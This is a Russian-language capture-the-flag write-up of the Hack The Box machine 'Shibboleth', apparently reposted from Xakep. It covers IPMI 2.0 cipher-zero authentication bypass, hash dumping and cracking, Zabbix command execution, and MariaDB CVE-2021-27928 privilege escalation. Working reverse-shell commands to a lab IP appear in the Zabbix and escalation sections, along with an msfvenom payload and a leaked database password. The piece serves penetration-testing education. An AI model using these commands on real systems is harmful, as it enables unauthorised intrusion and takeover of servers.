Хакер - HTB Shibboleth. Ломаем Zabbix, чтобы захватить контроллер платы

Хакер - HTB Shibboleth. Ломаем Zabbix, чтобы захватить контроллер платы

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Точка входа
  • Точка опоры и продвижение
  • Локальное повышение привилегий

Се­год­ня мы с тобой зах­ватим кон­трол­лер управле­ния пла­тами (BMC), работа­ющий по про­токо­лу IPMI. Для это­го про­экс­плу­ати­руем баг в Zabbix, а затем повысим при­виле­гии при помощи извес­тной уяз­вимос­ти в MySQL.

Про­делы­вать все это мы будем на машине с пло­щад­ки Hack The Box. Она называ­ется Shibboleth, а ее слож­ность отме­чена как сред­няя.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.124 shibboleth.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли все­го один откры­тый порт — 80. На хос­те акти­вен веб‑сер­вер Apache 2.4.41.

Глав­ная стра­ница сай­та

На сай­те ничего инте­рес­ного най­ти не уда­лось, поэто­му прис­тупим к перебо­ру адре­сов в поис­ках скры­тых ресур­сов.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

За­пус­каем ffuf:

ffuf -u http://shibboleth.htb/FUZZ -t 256 -w files_interesting.txt -fs 279

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

На­ходим файл changelog.txt, из которо­го можем узнать, на чем работа­ет сайт.

Со­дер­жимое фай­ла changelog.txt

Бы­вает полез­но, помимо катало­гов, переб­рать и вир­туаль­ные хос­ты, то есть под­домены. Исполь­зуем тот же ffuf и будем переби­рать HTTP-заголо­вок Host (параметр -H). Так как ответ на все зап­росы вклю­чает десять строк, отфиль­тру­ем их из резуль­тата (параметр -fl):

ffuf -u http://shibboleth.htb -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.shibboleth.htb' -fl 10

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

На­ходим три домен­ных име­ни, которые при­ведут нас на один и тот же сайт. Добавим их в файл /etc/hosts и заг­лянем на любой из них. Нас встре­тит панель авто­риза­ции Zabbix.

10.10.11.124 monitor.shibboleth.htb shibboleth.htb

Фор­ма авто­риза­ции Zabbix

Ид­ти даль­ше некуда, одна­ко в моем чек‑лис­те остался неот­мечен­ным пункт ска­ниро­вания UDP-пор­тов. Это дело дол­гое, но может дать мно­го полез­ного. Запус­каем.

sudo nmap -sU shibboleth.htb

Ре­зуль­тат ска­ниро­вания UDP-пор­тов

На пор­те UDP 623 работа­ет служ­ба IPMI. А по это­му про­токо­лу обща­ются кон­трол­леры управле­ния пла­тами.

ТОЧКА ВХОДА

По­хоже, мы име­ем дело с кон­трол­лером управле­ния пла­той, BMCS. Это что‑то вро­де мини‑компь­юте­ра, который исполь­зует­ся для монито­рин­га нас­толь­ных компь­юте­ров и сер­веров. BMCS час­то реали­зова­ны как встра­иваемые сис­темы ARM, работа­ющие под управле­нием Linux и под­клю­чен­ные непос­редс­твен­но к материн­ской пла­те основной сис­темы. Дос­туп к сети обес­печива­ется либо через основную сетевую кар­ту, либо через спе­циаль­ный интерфейс. Поч­ти все сер­веры и рабочие стан­ции пос­тавля­ются с той или иной фор­мой BMC.

Ин­теллек­туаль­ный интерфейс управле­ния плат­формой (IPMI) — это набор спе­цифи­каций, опре­деля­ющих про­токо­лы свя­зи для обме­на дан­ными как по локаль­ной шине, так и по сети. Через IPMI мож­но уда­лен­но под­клю­чить­ся к сер­веру и управлять его работой:

  • мо­нито­рить сос­тояние обо­рудо­вания, нап­ример про­верять тем­перату­ру отдель­ных сос­тавля­ющих сис­темы, уро­вень нап­ряжения, ско­рость вра­щения вен­тилято­ров;
  • вос­ста­нав­ливать работос­пособ­ность сер­вера в авто­мати­чес­ком или руч­ном режиме (уда­лен­ная перезаг­рузка сис­темы, вклю­чение и вык­лючение питания, заг­рузка ISO-обра­зов и обновле­ние прог­рам­мно­го обес­печения);
  • уп­равлять перифе­рий­ными устрой­ства­ми;
  • вес­ти жур­нал событий;
  • хра­нить информа­цию об исполь­зуемом обо­рудо­вании.

Пер­вым делом получим базовую информа­цию, такую как номер вер­сии (1.5 или 2.0). В этом нам может помочь модуль ipmi_version из Metasploit Framework.

msfconsole -q

use auxiliary/scanner/ipmi/ipmi_version

show options

Нас­трой­ки ipmi_version

Как сле­дует из парамет­ров модуля ipmi_version, нуж­но лишь ука­зать адрес хос­та.

set RHOSTS shibboleth.htb

run

По­луче­ние вер­сии IPMI

У нас вер­сия 2.0. В ней есть уяз­вимость обхо­да аутен­тифика­ции. При исполь­зовании шиф­ра типа 0 (кли­ент хочет исполь­зовать аутен­тифика­цию откры­тым тек­стом) дос­туп мож­но получить прак­тичес­ки с любым паролем. Про­верим, уяз­вим ли хост, с помощью модуля ipmi_cipher_zero, которо­му так­же нуж­но ука­зать адрес хос­та.

use auxiliary/scanner/ipmi/ipmi_cipher_zero

set RHOSTS shibboleth.htb

run

Про­вер­ка типа аутен­тифика­ции

Ба­зовую информа­цию узна­ли, для даль­нейшей работы нам пот­ребу­ется ути­лита ipmitool, уста­новить которую мож­но пря­мо из репози­тория.

sudo apt install ipmitool

А теперь зап­росим спи­сок поль­зовате­лей (user list). Для аутен­тифика­ции исполь­зуем дефол­тное имя поль­зовате­ля Administrator.

ipmitool -I lanplus -C 0 -H shibboleth.htb -U root -P '' user list

Спи­сок поль­зовате­лей

Та­ким обра­зом, у нас есть все­го одно имя, но и это­го нам хва­тит. Дело в том, что в про­цес­се аутен­тифика­ции IPMI 2.0 сер­вер сооб­щит кли­енту SHA1-хеш любой учет­ной записи, для которой пос­тупит зап­рос. Что­бы сде­лать его, можем исполь­зовать модуль ipmi_dumphashes.

use auxiliary/scanner/ipmi/ipmi_dumphashes

show options

Нас­трой­ки ipmi_dumphashes

У Metasploit есть свой сло­варь имен, поэто­му вновь ука­жем толь­ко адрес хос­та.

set RHOSTS shibboleth.htb

run

По­лучен­ный хеш адми­нис­тра­тора

С помощью зна­мени­того hashcat мож­но не толь­ко быс­тро ломать хеши и соз­давать пра­вила или спис­ки паролей, но и опре­делять тип хеша.

hashcat --example | grep 'IPMI' -A2 -B2

По­луче­ние алго­рит­ма хеширо­вания

Нам сооб­щают, что это хеш типа IPMI2 SHA1 и что, если мы хотим переби­рать его, нуж­но исполь­зовать код режима 7300. Так мы и пос­тупим, а в качес­тве сло­варя с пароля­ми исполь­зуем rockyou.

hashcat -a 0 -m 7300 hash.txt rockyou.txt

Взлом най­ден­ного IPMI2 SHA1-хеша

В ито­ге лег­ко под­бира­ем пароль. А с его помощью авто­ризу­емся в Zabbix.

Глав­ная панель Zabbix

ТОЧКА ОПОРЫ И ПРОДВИЖЕНИЕ

Че­рез панель Zabbix мож­но выпол­нить код и получить реверс‑шелл. Для это­го перей­дем к меню Configuration → Host → Items и выберем Add Item.

Ме­ню Host
Ме­ню Items

Те­перь коман­дой rlwrap -cAr nc -lvp 4321 откро­ем лис­тенер для при­ема соеди­нения. Запол­няем обя­затель­ные поля, а в поле Key ука­зыва­ем реверс‑шелл.

system.run[/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.134/4321 0>&1",nowait]

Ме­ню Add Item

Как толь­ко новая запись будет добав­лена, в окне лис­тенера получим бэк­коннект.

Ус­пешно соз­данная запись
Бэк­коннект

В сис­теме най­дем все­го одно­го поль­зовате­ля ipmi-svc, а в фай­ле /etc/passwd обна­ружим, что он может исполь­зовать коман­дную обо­лоч­ку.

cat /etc/passwd | grep ipmi-svc

Про­вер­ка поль­зовате­лей

С име­ющим­ся паролем авто­ризу­емся как ipmi-svc.

python3 -c 'import pty;pty.spawn("/bin/bash")'

su

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Один из спо­собов повысить при­виле­гии — най­ти учет­ные дан­ные. В дан­ном слу­чае есть шанс получить их из Zabbix. Пос­коль­ку он под­клю­чает­ся к базе дан­ных, парамет­ры это­го под­клю­чения дол­жны где‑то содер­жать­ся. В слу­чае с Zabbix они находят­ся в кон­фиге /etc/zabbix/zabbix_server.conf.


Со­дер­жимое фай­ла zabbix_server.conf

Этот пароль к поль­зовате­лю root не подошел, зато поз­волит авто­ризо­вать­ся в MySQL.

mysql -u zabbix -pbloooarskybluh -D zabbix

Под­клю­чение к MySQL

При под­клю­чении мы узна­ем вер­сию MySQL, поэто­му можем поис­кать готовые экс­пло­иты.

Справка: поиск готовых эксплоитов

При пен­тесте луч­ше все­го искать экс­пло­иты в Google, пос­коль­ку этот поис­ковик заг­лядыва­ет и в лич­ные бло­ги, и в самые раз­ные отче­ты. Уско­рят дело спе­циали­зиро­ван­ные базы вро­де Exploit-DB — там час­то мож­но обна­ружить под­ходящие вари­анты. Если ты работа­ешь в спе­циали­зиро­ван­ной ОС вро­де Kali Linux, то эта база у тебя уже есть и для поис­ка мож­но исполь­зовать ути­литу searchsploit.

По­иск экс­пло­ита для 10.3.25-MariaDB

На­ходим баг CVE-2021-27928. Экс­плу­ата­ция этой уяз­вимос­ти при­водит к уда­лен­ному выпол­нению кода: мы можем уста­новить зна­чение wsrep_provider (сис­темная перемен­ная MySQL, ука­зыва­ющая рас­положе­ние биб­лиоте­ки wsrep). Управле­ние путем к биб­лиоте­ке, которая будет заг­ружена в MySQL, дает нам воз­можность помес­тить в нее вре­донос­ный код, который запус­тится в при­виле­гиро­ван­ном кон­тек­сте.

Та­кая биб­лиоте­ка дол­жна быть фай­лом .so, сге­нери­ровать который нам поможет MSFVenom, вхо­дящий в сос­тав Metasploit Framework. Фор­мат фай­ла ука­зыва­ем в парамет­ре -f, а в качес­тве наг­рузки исполь­зуем обыч­ный реверс‑шелл (параметр -p).

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.134 LPORT=5432 -f elf-so -o ralf_expl.so

Ге­нери­рова­ние фай­ла .so

Заг­ружа­ем на уда­лен­ный хост сге­нери­рован­ную биб­лиоте­ку и откры­ваем на локаль­ном хос­те лис­тенер:

rlwrap -cAr nc -lvnp 5432

А теперь экс­плу­ати­руем уяз­вимость, прос­то уста­новив зна­чение перемен­ной wsrep_provider!

SET GLOBAL wsrep_provider="/tmp/ralf_expl.so";

Ус­танов­ка wsrep_provider

И в окне лис­тенера видим бэк­коннект.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page